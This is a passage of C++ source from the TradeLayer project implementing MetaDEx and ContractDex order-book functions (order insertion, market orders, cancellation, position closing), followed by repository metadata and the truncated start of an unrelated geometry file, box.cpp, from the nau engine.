getProperty(), FormatMP(getProperty(), getAmountForSale())); } ////////////////////////////////////// void CMPMetaDEx::saveOffer(std::ofstream& file, SHA256_CTX* shaCtx) const { std::string lineOut = strprintf("%s,%d,%d,%d,%d,%d,%d,%d,%s,%d", addr, block, amount_forsale, property, amount_desired, desired_property, subaction, idx, txid.ToString(), amount_remaining ); // add the line to the hash SHA256_Update(shaCtx, lineOut.c_str(), lineOut.length()); // write the line file << lineOut << std::endl; } //////////////////////////////////// /** New things for Contract */ void CMPContractDex::saveOffer(std::ofstream& file, SHA256_CTX* shaCtx) const { std::string lineOut = strprintf("%s,%d,%d,%d,%d,%d,%d,%d,%s,%d,%d,%d", getAddr(), getBlock(), getAmountForSale(), getProperty(), getAmountDesired(), getDesProperty(), getAction(), getIdx(), getHash().ToString(), getAmountRemaining(), effective_price, trading_action ); // add the line to the hash SHA256_Update(shaCtx, lineOut.c_str(), lineOut.length()); // write the line file << lineOut << std::endl; } //////////////////////////////////// /** New things for Contract */ void saveDataGraphs(std::fstream &file, std::string lineOutSixth1, std::string lineOutSixth2, std::string lineOutSixth3, bool savedata_bool) { std::string lineSixth1 = lineOutSixth1; std::string lineSixth2 = lineOutSixth2; std::string lineSixth3 = lineOutSixth3; if ( savedata_bool ) { file << lineSixth1 << "\n"; file << lineSixth2 << std::endl; } else { file << lineSixth1 << "\n"; file << lineSixth2 << "\n"; file << lineSixth3 << std::endl; } } void saveDataGraphs(std::fstream &file, std::string lineOut) { std::string line = lineOut; file << line << std::endl; } //////////////////////////////////// bool MetaDEx_compare::operator()(const CMPMetaDEx &lhs, const CMPMetaDEx &rhs) const { if (lhs.getBlock() == rhs.getBlock()) return lhs.getIdx() < rhs.getIdx(); else return lhs.getBlock() < rhs.getBlock(); } /////////////////////////////////////////// /** New things for Contracts */ bool ContractDex_compare::operator()(const CMPContractDex &lhs, const CMPContractDex &rhs) const { if (lhs.getBlock() == rhs.getBlock()) return lhs.getIdx() < rhs.getIdx(); else return lhs.getBlock() < rhs.getBlock(); } /////////////////////////////////////////// bool mastercore::MetaDEx_INSERT(const CMPMetaDEx& objMetaDEx) { // Create an empty price map (to use in case price map for this property does not already exist) md_PricesMap temp_prices; // Attempt to obtain the price map for the property md_PricesMap *p_prices = get_Prices(objMetaDEx.getProperty()); // Create an empty set of metadex objects (to use in case no set currently exists at this price) md_Set temp_indexes; md_Set *p_indexes = NULL; // Prepare for return code std::pair <md_Set::iterator, bool> ret; // Attempt to obtain a set of metadex objects for this price from the price map if (p_prices) p_indexes = get_Indexes(p_prices, objMetaDEx.unitPrice()); // See if the set was populated, if not no set exists at this price level, use the empty set that we created earlier if (!p_indexes) p_indexes = &temp_indexes; // Attempt to insert the metadex object into the set ret = p_indexes->insert(objMetaDEx); if (false == ret.second) return false; // If a prices map did not exist for this property, set p_prices to the temp empty price map if (!p_prices) p_prices = &temp_prices; // Update the prices map with the new set at this price (*p_prices)[objMetaDEx.unitPrice()] = *p_indexes; // Set the metadex map for the property to the updated (or new if it didn't exist) price map metadex[objMetaDEx.getProperty()] = *p_prices; return true; } /////////////////////////////////////////// /** New things for Contracts */ bool mastercore::ContractDex_INSERT(const CMPContractDex &objContractDex) { // Create an empty price map (to use in case price map for this property does not already exist) cd_PricesMap temp_prices; // Attempt to obtain the price map for the property cd_PricesMap *cd_prices = get_PricesCd(objContractDex.getProperty()); // Create an empty set of contractdex objects (to use in case no set currently exists at this price) cd_Set temp_indexes; cd_Set *p_indexes = NULL; // Prepare for return code std::pair <cd_Set::iterator, bool> ret; // Attempt to obtain a set of contractdex objects for this price from the price map if (cd_prices) p_indexes = get_IndexesCd(cd_prices, objContractDex.getEffectivePrice()); // See if the set was populated, if not no set exists at this price level, use the empty set that we created earlier if (!p_indexes) p_indexes = &temp_indexes; // Attempt to insert the contractdex object into the set ret = p_indexes->insert(objContractDex); if (false == ret.second) return false; // If a prices map did not exist for this property, set p_prices to the temp empty price map if (!cd_prices) cd_prices = &temp_prices; // Update the prices map with the new Set at this price (*cd_prices)[objContractDex.getEffectivePrice()] = *p_indexes; // Set the contractdex map for the property to the updated (or new if it didn't exist) price map contractdex[objContractDex.getProperty()] = *cd_prices; // = *cd_prices; return true; } /////////////////////////////////////////// // pretty much directly linked to the ADD TX21 command off the wire int mastercore::MetaDEx_ADD(const std::string& sender_addr, uint32_t prop, int64_t amount, int block, uint32_t property_desired, int64_t amount_desired, const uint256& txid, unsigned int idx) { int rc = METADEX_ERROR -1; PrintToConsole("------------------------------------------------------------\n"); PrintToConsole("Inside MetaDEx_ADD\n"); // Create a MetaDEx object from paremeters CMPMetaDEx new_mdex(sender_addr, block, prop, amount, property_desired, amount_desired, txid, idx, CMPTransaction::ADD); // if (msc_debug_metadex1) PrintToLog("%s(); buyer obj: %s\n", __FUNCTION__, new_mdex.ToString()); // Ensure this is not a badly priced trade (for example due to zero amounts) if (0 >= new_mdex.unitPrice()) return METADEX_ERROR -66; // Match against existing trades, remainder of the order will be put into the order book // if (msc_debug_metadex3) MetaDEx_debug_print(); x_Trade(&new_mdex); // if (msc_debug_metadex3) MetaDEx_debug_print(); // Insert the remaining order into the MetaDEx maps if (0 < new_mdex.getAmountRemaining()) { //switch to getAmountRemaining() when ready if (!MetaDEx_INSERT(new_mdex)) { PrintToLog("%s() ERROR: ALREADY EXISTS, line %d, file: %s\n", __FUNCTION__, __LINE__, __FILE__); return METADEX_ERROR -70; } else { // move tokens into reserve assert(update_tally_map(sender_addr, prop, -new_mdex.getAmountRemaining(), BALANCE)); assert(update_tally_map(sender_addr, prop, new_mdex.getAmountRemaining(), METADEX_RESERVE)); // if (msc_debug_metadex1) PrintToLog("==== INSERTED: %s= %s\n", xToString(new_mdex.unitPrice()), new_mdex.ToString()); // if (msc_debug_metadex3) MetaDEx_debug_print(); } } rc = 0; return rc; } ///////////////////////////////////////// /** New things for Contract */ int mastercore::ContractDex_ADD(const std::string& sender_addr, uint32_t prop, int64_t amount, int block, const uint256& txid, unsigned int idx, uint64_t effective_price, uint8_t trading_action, int64_t amount_to_reserve) { // int rc = METADEX_ERROR -1; /*Remember: Here CMPTransaction::ADD is the subaction coming from CMPMetaDEx*/ CMPContractDex new_cdex(sender_addr, block, prop, amount, 0, 0, txid, idx, CMPTransaction::ADD, effective_price, trading_action); // if (msc_debug_metadex1) PrintToLog("%s(); buyer obj: %s\n", __FUNCTION__, new_cdex.ToString()); // Ensure this is not a badly priced trade (for example due to zero amounts) if (0 >= new_cdex.getEffectivePrice()) return METADEX_ERROR -66; x_Trade(&new_cdex); // if (msc_debug_metadex3) MetaDEx_debug_print(); // Insert the remaining order into the ContractDex maps if (0 < new_cdex.getAmountForSale()) { //switch to getAmounForSale() when ready if (!ContractDex_INSERT(new_cdex)) { PrintToLog("%s() ERROR: ALREADY EXISTS, line %d, file: %s\n", __FUNCTION__, __LINE__, __FILE__); return METADEX_ERROR -70; // TODO: create new numbers for our errors. } else { PrintToConsole("\nInserted in the orderbook!!\n"); // if (msc_debug_metadex1) PrintToLog("==== INSERTED: %s= %s\n", xToString(new_cdex.getEffectivePrice()), new_cdex.ToString()); // if (msc_debug_metadex3) MetaDEx_debug_print(); } } return 0; } ///////////////////////////////////////// /** New things for Contract */ int mastercore::ContractDex_ADD_MARKET_PRICE(const std::string& sender_addr, uint32_t contractId, int64_t amount, int block, const uint256& txid, unsigned int idx, uint8_t trading_action, int64_t amount_to_reserve) { int rc = METADEX_ERROR -1; PrintToLog("------------------------------------------------------------\n"); PrintToLog("Inside ContractDex_ADD_MARKET_PRICE\n"); /*Remember: Here CMPTransaction::ADD is the subaction coming from CMPMetaDEx*/ if (trading_action == BUY){ uint64_t ask = edgeOrderbook(contractId,BUY); PrintToLog("ask: %d\n",ask); CMPContractDex new_cdex(sender_addr, block, contractId, amount, 0, 0, txid, idx, CMPTransaction::ADD, ask, trading_action); // Ensure this is not a badly priced trade (for example due to zero amounts) PrintToLog("effective price of new_cdex /buy/: %d\n",new_cdex.getEffectivePrice()); if (0 >= new_cdex.getEffectivePrice()) return METADEX_ERROR -66; // Insert the remaining order into the ContractDex maps uint64_t diff; uint64_t oldvalue; uint64_t newvalue; while(true) { oldvalue = new_cdex.getAmountForSale(); x_Trade(&new_cdex); newvalue = new_cdex.getAmountForSale(); if (newvalue == 0) { break; } uint64_t price = edgeOrderbook(contractId,BUY); new_cdex.setPrice(price); PrintToLog("SELL SIDE in while loop/ right side of example/<-------\n"); } } else if (trading_action == SELL){ uint64_t bid = edgeOrderbook(contractId,SELL); PrintToLog("bid: %d\n",bid); CMPContractDex new_cdex(sender_addr, block, contractId, amount, 0, 0, txid, idx, CMPTransaction::ADD, bid, trading_action); // Ensure this is not a badly priced trade (for example due to zero amounts PrintToLog("effective price of new_cdex/sell/: %d\n",new_cdex.getEffectivePrice()); if (0 >= new_cdex.getEffectivePrice()) return METADEX_ERROR -66; // Insert the remaining order into the ContractDex maps uint64_t oldvalue; uint64_t newvalue; uint64_t diff; while(true) { oldvalue = new_cdex.getAmountForSale(); x_Trade(&new_cdex); newvalue = new_cdex.getAmountForSale(); if (newvalue == 0) { break; } uint64_t price = edgeOrderbook(contractId,BUY); new_cdex.setPrice(price); PrintToLog("BUY SIDE in while loop/ right side of example/<-------\n"); } } rc = 0; return rc; } int mastercore::ContractDex_CANCEL_EVERYTHING(const uint256& txid, unsigned int block, const std::string& sender_addr, unsigned char ecosystem, uint32_t contractId) { int rc = METADEX_ERROR -40; bool bValid = false; int64_t factorH = factorE; for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) { unsigned int prop = my_it->first; // skip property, if it is not in the expected ecosystem if (isMainEcosystemProperty(ecosystem) && !isMainEcosystemProperty(prop)) continue; if (isTestEcosystemProperty(ecosystem) && !isTestEcosystemProperty(prop)) continue; // PrintToLog(" ## property: %u\n", prop); cd_PricesMap &prices = my_it->second; for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // uint64_t price = it->first; cd_Set &indexes = it->second; // PrintToLog(" # Price Level: %s\n", xToString(price)); for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) { // PrintToLog("%s= %s\n", xToString(price), it->ToString()); if (it->getAddr() != sender_addr || it->getProperty() != contractId || it->getAmountForSale() == 0) { ++it; continue; } rc = 0; // PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString()); CMPSPInfo::Entry sp; assert(_my_sps->getSP(it->getProperty(), sp)); uint32_t collateralCurrency = sp.collateral_currency; int64_t marginRe = static_cast<int64_t>(sp.margin_requirement); string addr = it->getAddr(); int64_t amountForSale = it->getAmountForSale(); rational_t conv = notionalChange(contractId); int64_t num = conv.numerator().convert_to<int64_t>(); int64_t den = conv.denominator().convert_to<int64_t>(); arith_uint256 amountMargin = (ConvertTo256(amountForSale) * ConvertTo256(marginRe) * ConvertTo256(num) / (ConvertTo256(den) * ConvertTo256(factorH))); int64_t redeemed = ConvertTo64(amountMargin); PrintToLog("collateral currency id of contract : %d\n",collateralCurrency); PrintToLog("margin requirement of contract : %d\n",marginRe); PrintToLog("amountForSale: %d\n",amountForSale); PrintToLog("Address: %d\n",addr); PrintToLog("--------------------------------------------\n"); // move from reserve to balance the collateral assert(update_tally_map(addr, collateralCurrency, redeemed, BALANCE)); assert(update_tally_map(addr, collateralCurrency, redeemed, CONTRACTDEX_RESERVE)); // // record the cancellation bValid = true; // p_txlistdb->recordContractDexCancelTX(txid, it->getHash(), bValid, block, it->getProperty(), it->getAmountForSale indexes.erase(it++); } } } if (bValid == false){ PrintToConsole("You don't have active orders\n"); } return rc; } int mastercore::ContractDex_CANCEL_FOR_BLOCK(const uint256& txid, int block,unsigned int idx, const std::string& sender_addr, unsigned char ecosystem) { int rc = METADEX_ERROR -40; bool bValid = false; for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) { // PrintToLog(" ## property: %u\n", prop); cd_PricesMap &prices = my_it->second; for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // uint64_t price = it->first; cd_Set &indexes = it->second; for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) { string addr = it->getAddr(); if (addr != sender_addr || it->getBlock()!= block || it->getIdx()!= idx) { ++it; continue; } CMPSPInfo::Entry sp; uint32_t contractId = it->getProperty(); assert(_my_sps->getSP(contractId, sp)); uint32_t collateralCurrency = sp.collateral_currency; uint32_t marginRe = sp.margin_requirement; int64_t balance = getMPbalance(addr,collateralCurrency,BALANCE); int64_t amountForSale = it->getAmountForSale(); rational_t conv = notionalChange(contractId); int64_t num = conv.numerator().convert_to<int64_t>(); int64_t den = conv.denominator().convert_to<int64_t>(); arith_uint256 amountMargin = (ConvertTo256(amountForSale) * ConvertTo256(marginRe) * ConvertTo256(num) / (ConvertTo256(den) * ConvertTo256(factorE))); int64_t redeemed = ConvertTo64(amountMargin); PrintToLog("collateral currency id of contract : %d\n",collateralCurrency); PrintToLog("margin requirement of contract : %d\n",marginRe); PrintToLog("amountForSale: %d\n",amountForSale); PrintToLog("Address: %d\n",addr); std::string sgetback = FormatDivisibleMP(redeemed,false); PrintToLog("amount returned to balance: %d\n",redeemed); PrintToLog("--------------------------------------------\n"); // move from reserve to balance the collateral if (balance > redeemed && balance > 0 && redeemed > 0) { assert(update_tally_map(addr, collateralCurrency, redeemed, BALANCE)); assert(update_tally_map(addr, collateralCurrency, -redeemed, CONTRACTDEX_RESERVE)); } // record the cancellation bValid = true; // p_txlistdb->recordContractDexCancelTX(txid, it->getHash(), bValid, block, it->getProperty(), it->getAmountForSale indexes.erase(it++); rc = 0; } } } if (bValid == false){ PrintToConsole("Incorrect block or idx\n"); } return rc; } int mastercore::ContractDex_CLOSE_POSITION(const uint256& txid, unsigned int block, const std::string& sender_addr, unsigned char ecosystem, uint32_t contractId, uint32_t collateralCurrency) { int64_t shortPosition = getMPbalance(sender_addr,contractId, NEGATIVE_BALANCE); int64_t longPosition = getMPbalance(sender_addr,contractId, POSSITIVE_BALANCE); PrintToLog("shortPosition before: %d\n",shortPosition); PrintToLog("longPosition before: %d\n",longPosition); LOCK(cs_tally); // Clearing the position unsigned int idx=0; if (shortPosition > 0 && longPosition == 0){ PrintToLog("Short Position closing...\n"); ContractDex_ADD_MARKET_PRICE(sender_addr,contractId, shortPosition, block, txid, idx,BUY, 0); } else if (longPosition > 0 && shortPosition == 0){ PrintToLog("Long Position closing...\n"); ContractDex_ADD_MARKET_PRICE(sender_addr,contractId, longPosition, block, txid, idx, SELL, 0); } // cleaning liquidation price int64_t liqPrice = getMPbalance(sender_addr,contractId, LIQUIDATION_PRICE); if (liqPrice > 0){ update_tally_map(sender_addr, contractId, -liqPrice, LIQUIDATION_PRICE); } //realized the UPNL int64_t upnl = 0; int64_t ppnl = getMPbalance(sender_addr, contractId, UPNL); int64_t nupnl = getMPbalance(sender_addr, contractId, NUPNL); (ppnl > 0) ? upnl = ppnl : upnl = nupnl ; if (upnl > 0){ update_tally_map(sender_addr, contractId, -upnl, UPNL); update_tally_map(sender_addr, contractId, upnl, REALIZED_PROFIT); PrintToLog("profits: %d\n",upnl); } else if (upnl < 0) { update_tally_map(sender_addr,contractId, upnl, UPNL); update_tally_map(sender_addr, contractId, -upnl, REALIZED_LOSSES); PrintToLog("losses: %d\n",upnl); } int64_t shortPositionAf = getMPbalance(sender_addr,contractId, NEGATIVE_BALANCE); int64_t longPositionAf= getMPbalance(sender_addr,contractId, POSSITIVE_BALANCE); PrintToLog("shortPosition Now: %d\n",shortPositionAf); PrintToLog("longPosition Now: %d\n",longPositionAf); if (shortPositionAf == 0 && longPositionAf == 0){ PrintToLog("POSITION CLOSED!!!\n"); } else { PrintToLog("ERROR: Position partialy Closed\n"); } return 0; } // // /** // * Scans the orderbook and removes every all-pair order // */ // int mastercore::MetaDEx_SHUTDOWN_ALLPAIR() // { // int rc = 0; // PrintToLog("%s()\n", __FUNCTION__); // for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) { // md_PricesMap& prices = my_it->second; // for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // md_Set& indexes = it->second; // for (md_Set::iterator it = indexes.begin(); it != indexes.end();) { // if (it->getDesProperty() > OMNI_PROPERTY_TMSC && it->getProperty() > OMNI_PROPERTY_TMSC) { // no OMNI/TOMNI side to the trade // PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString()); // // move from reserve to balance // assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE)); // assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE)); // indexes.erase(it++); // } // } // } // } // return rc; // } // // /////////////////////////////////// // /** New things for Contracts */ // int mastercore::ContractDex_SHUTDOWN_ALLPAIR() // { // int rc = 0; // PrintToLog("%s()\n", __FUNCTION__); // for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) { // cd_PricesMap &prices = my_it->second; // for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // cd_Set &indexes = it->second; // for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) { // if (it->getDesProperty() > OMNI_PROPERTY_TMSC && it->getProperty() > OMNI_PROPERTY_TMSC) { // no OMNI/TOMNI side to the trade // PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString()); // // move from reserve to balance // assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE)); // assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE)); // indexes.erase(it++); // } // } // } // } // return rc; // } // /////////////////////////////////// // // /** // * Scans the orderbook and removes every order // */ // int mastercore::MetaDEx_SHUTDOWN() // { // int rc = 0; // PrintToLog("%s()\n", __FUNCTION__); // for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) { // md_PricesMap& prices = my_it->second; // for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // md_Set& indexes = it->second; // for (md_Set::iterator it = indexes.begin(); it != indexes.end();) { // PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString()); // // move from reserve to balance // assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE)); // assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE)); // indexes.erase(it++); // } // } // } // return rc; // } // // ////////////////////////////////// // /** New things for Contracts */ // int mastercore::ContractDex_SHUTDOWN() // { // int rc = 0; // PrintToLog("%s()\n", __FUNCTION__); // for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) { // cd_PricesMap &prices = my_it->second; // for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // cd_Set &indexes = it->second; // for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) { // PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString()); // // move from reserve to balance // assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE)); // assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE)); // indexes.erase(it++); // } // } // } // return rc; // } // ////////////////////////////////// // // // searches the metadex maps to see if a trade is still open // // allows search to be optimized if propertyIdForSale is specified // bool mastercore::MetaDEx_isOpen(const uint256& txid, uint32_t propertyIdForSale) // { // for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) { // if (propertyIdForSale != 0 && propertyIdForSale != my_it->first) continue; // md_PricesMap & prices = my_it->second; // for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // md_Set & indexes = (it->second); // for (md_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) { // CMPMetaDEx obj = *it; // if( obj.getHash().GetHex() == txid.GetHex() ) return true; // } // } // } // return false; // } // // ///////////////////////////////////// // /** New things for Contracts */ // bool mastercore::ContractDex_isOpen(const uint256& txid, uint32_t propertyIdForSale) // { // for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) { // if (propertyIdForSale != 0 && propertyIdForSale != my_it->first) continue; // cd_PricesMap &prices = my_it->second; // for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // cd_Set &indexes = (it->second); // for (cd_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) { // CMPContractDex obj = *it; // if( obj.getHash().GetHex() == txid.GetHex() ) return true; // } // } // } // return false; // } // //////////////////////////////////// // // /** // * Returns a string describing the status of a trade // * // */ // std::string mastercore::MetaDEx_getStatusText(int tradeStatus) // { // switch (tradeStatus) { // case TRADE_OPEN: return "open"; // case TRADE_OPEN_PART_FILLED: return "open part filled"; // case TRADE_FILLED: return "filled"; // case TRADE_CANCELLED: return "cancelled"; // case TRADE_CANCELLED_PART_FILLED: return "cancelled part filled"; // case TRADE_INVALID: return "trade invalid"; // default: return "unknown"; // } // } // // //////////////////////////////// // /** New things for Contracts */ // std::string mastercore::ContractDex_getStatusText(int tradeStatus) // { // switch (tradeStatus) { // case TRADE_OPEN: return "open"; // case TRADE_OPEN_PART_FILLED: return "open part filled"; // case TRADE_FILLED: return "filled"; // case TRADE_CANCELLED: return "cancelled"; // case TRADE_CANCELLED_PART_FILLED: return "cancelled part filled"; // case TRADE_INVALID: return "trade invalid"; // default: return "unknown"; // } // } // //////////////////////////////// // // /** // * Returns the status of a MetaDEx trade // * // */ // int mastercore::MetaDEx_getStatus(const uint256& txid, uint32_t propertyIdForSale, int64_t amountForSale, int64_t totalSold) // { // // NOTE: If the calling code is already aware of the total amount sold, pass the value in to this function to avoid duplication of // // work. If the calling code doesn't know the amount, leave default (-1) and we will calculate it from levelDB lookups. // if (totalSold == -1) { // UniValue tradeArray(UniValue::VARR); // int64_t totalReceived; // t_tradelistdb->getMatchingTrades(txid, propertyIdForSale, tradeArray, totalSold, totalReceived); // } // // // Return a "trade invalid" status if the trade was invalidated at parsing/interpretation (eg insufficient funds) // if (!getValidMPTX(txid)) return TRADE_INVALID; // // // Calculate and return the status of the trade via the amount sold and open/closed attributes. // if (MetaDEx_isOpen(txid, propertyIdForSale)) { // if (totalSold == 0) { // return TRADE_OPEN; // } else { // return TRADE_OPEN_PART_FILLED; // } // } else { // if (totalSold == 0) { // return TRADE_CANCELLED; // } else if (totalSold < amountForSale) { // return TRADE_CANCELLED_PART_FILLED; // } else { // return TRADE_FILLED; // } // } // } // // /////////////////////////////// // /** New things for Contracts */ // int mastercore::ContractDex_getStatus(const uint256& txid, uint32_t propertyIdForSale, int64_t amountForSale, int64_t totalSold) // { // // NOTE: If the calling code is already aware of the total amount sold, pass the value in to this function to avoid duplication of // // work. If the calling code doesn't know the amount, leave default (-1) and we will calculate it from levelDB lookups. // if (totalSold == -1) { // UniValue tradeArray(UniValue::VARR); // int64_t totalReceived; // t_tradelistdb->getMatchingTrades(txid, propertyIdForSale, tradeArray, totalSold, totalReceived); // } // // // Return a "trade invalid" status if the trade was invalidated at parsing/interpretation (eg insufficient funds) // if (!getValidMPTX(txid)) return TRADE_INVALID; // // // Calculate and return the status of the trade via the amount sold and open/closed attributes. // if (ContractDex_isOpen(txid, propertyIdForSale)) { // if (totalSold == 0) { // return TRADE_OPEN; // } else { // return TRADE_OPEN_PART_FILLED; // } // } else { // if (totalSold == 0) { // return TRADE_CANCELLED; // } else if (totalSold < amountForSale) { // return TRADE_CANCELLED_PART_FILLED; // } else { // return TRADE_FILLED; // } // } // } // /////////////////////////////// // // void mastercore::MetaDEx_debug_print(bool bShowPriceLevel, bool bDisplay) // { // PrintToLog("<<<\n"); // for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) { // uint32_t prop = my_it->first; // // PrintToLog(" ## property: %u\n", prop); // md_PricesMap& prices = my_it->second; // // for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // rational_t price = it->first; // md_Set& indexes = it->second; // // if (bShowPriceLevel) PrintToLog(" # Price Level: %s\n", xToString(price)); // // for (md_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) { // const CMPMetaDEx& obj = *it; // // if (bDisplay) PrintToConsole("%s= %s\n", xToString(price), obj.ToString()); // else PrintToLog("%s= %s\n", xToString(price), obj.ToString()); // } // } // } // PrintToLog(">>>\n"); // } // // ///////////////////////////////////// // /** New things for Contracts */ // void mastercore::ContractDex_debug_print(bool bShowPriceLevel, bool bDisplay) // { // PrintToLog("<<<\n"); // for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) { // uint32_t prop = my_it->first; // // PrintToLog(" ## property: %u\n", prop); // cd_PricesMap &prices = my_it->second; // // for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) { // uint64_t price = it->first; // cd_Set &indexes = it->second; // // if (bShowPriceLevel) PrintToLog(" # Price Level: %s\n", xToString(price)); // // for (cd_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) { // const CMPContractDex &obj = *it; // // if (bDisplay) PrintToConsole("%s= %s\n", xToString(price), obj.ToString()); // else PrintToLog("%s= %s\n", xToString(price), obj.ToString()); // } // } // } // PrintToLog(">>>\n"); // } // ///////////////////////////////////// // // /** // * Locates a trade in the MetaDEx maps via txid and returns the trade object // * // */ // const CMPMetaDEx* mastercore::MetaDEx_RetrieveTrade(const uint256& txid) // { // for (md_PropertiesMap::iterator propIter = metadex.begin(); propIter != metadex.end(); ++propIter) { // md_PricesMap & prices = propIter->second; // for (md_PricesMap::iterator pricesIter = prices.begin(); pricesIter != prices.end(); ++pricesIter) { // md_Set & indexes = pricesIter->second; // for (md_Set::iterator tradesIter = indexes.begin(); tradesIter != indexes.end(); ++tradesIter) { // if (txid == (*tradesIter).getHash()) return &(*tradesIter); // } // } // } // return (CMPMetaDEx*) NULL; // } // // //////////////////////////////////////// // /** New things for Contracts */ // const CMPContractDex* mastercore::ContractDex_RetrieveTrade(const uint256& txid) // { // for (cd_PropertiesMap::iterator propIter = contractdex.begin(); propIter != contractdex.end(); ++propIter) { // cd_PricesMap &prices = propIter->second; // for (cd_PricesMap::iterator pricesIter = prices.begin(); pricesIter != prices.end(); ++pricesIter) { // cd_Set &indexes = pricesIter->second; // for (cd_Set::iterator tradesIter = indexes.begin(); tradesIter != indexes.end(); ++tradesIter) { // if (txid == (*tradesIter).getHash()) return &(*tradesIter); // } // } // } // return (CMPContractDex*) NULL; // } ////////////////////////////////////////
39.818221
311
0.625448
TradeLayer
0ea35e383669db72128e85e9a2040af441dae97e
11,050
cpp
C++
nau/src/nau/geometry/box.cpp
Khirion/nau
47a2ad8e0355a264cd507da5e7bba1bf7abbff95
[ "MIT" ]
29
2015-09-16T22:28:30.000Z
2022-03-11T02:57:36.000Z
nau/src/nau/geometry/box.cpp
Khirion/nau
47a2ad8e0355a264cd507da5e7bba1bf7abbff95
[ "MIT" ]
1
2017-03-29T13:32:58.000Z
2017-03-31T13:56:03.000Z
nau/src/nau/geometry/box.cpp
Khirion/nau
47a2ad8e0355a264cd507da5e7bba1bf7abbff95
[ "MIT" ]
10
2015-10-15T14:20:15.000Z
2022-02-17T10:37:29.000Z
#include "nau/geometry/box.h" #include "nau/math/vec3.h" #include "nau/geometry/vertexData.h" #include "nau/material/materialGroup.h" using namespace nau::geometry; using namespace nau::math; using namespace nau::render; using namespace nau::material; Box::Box(void) : Primitive() { float n = 1.0f; std::shared_ptr<std::vector<VertexData::Attr>> vertices = std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24)); std::shared_ptr<std::vector<VertexData::Attr>> tangent = std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24)); std::shared_ptr<std::vector<VertexData::Attr>> textureCoords = std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24)); std::shared_ptr<std::vector<VertexData::Attr>> normals = std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24)); // FRONT vertices->at (Box::FACE_FRONT + Box::TOP_LEFT).set (-n, n, n); vertices->at (Box::FACE_FRONT + Box::TOP_RIGHT).set ( n, n, n); vertices->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set ( n, -n, n); vertices->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (-n, -n, n); tangent->at (Box::FACE_FRONT + Box::TOP_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_FRONT + Box::TOP_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f); textureCoords->at (Box::FACE_FRONT + Box::TOP_LEFT).set (0.0f, n, 0.0f); textureCoords->at (Box::FACE_FRONT + Box::TOP_RIGHT).set (n, n, 0.0f); textureCoords->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f); textureCoords->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f); normals->at (Box::FACE_FRONT + Box::TOP_LEFT).set (0.0f, 0.0f, n, 0.0f); normals->at (Box::FACE_FRONT + Box::TOP_RIGHT).set (0.0f, 0.0f, n, 0.0f); normals->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, n, 0.0f); normals->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, n, 0.0f); //LEFT vertices->at (Box::FACE_LEFT + Box::TOP_LEFT).set (-n, n, -n); vertices->at 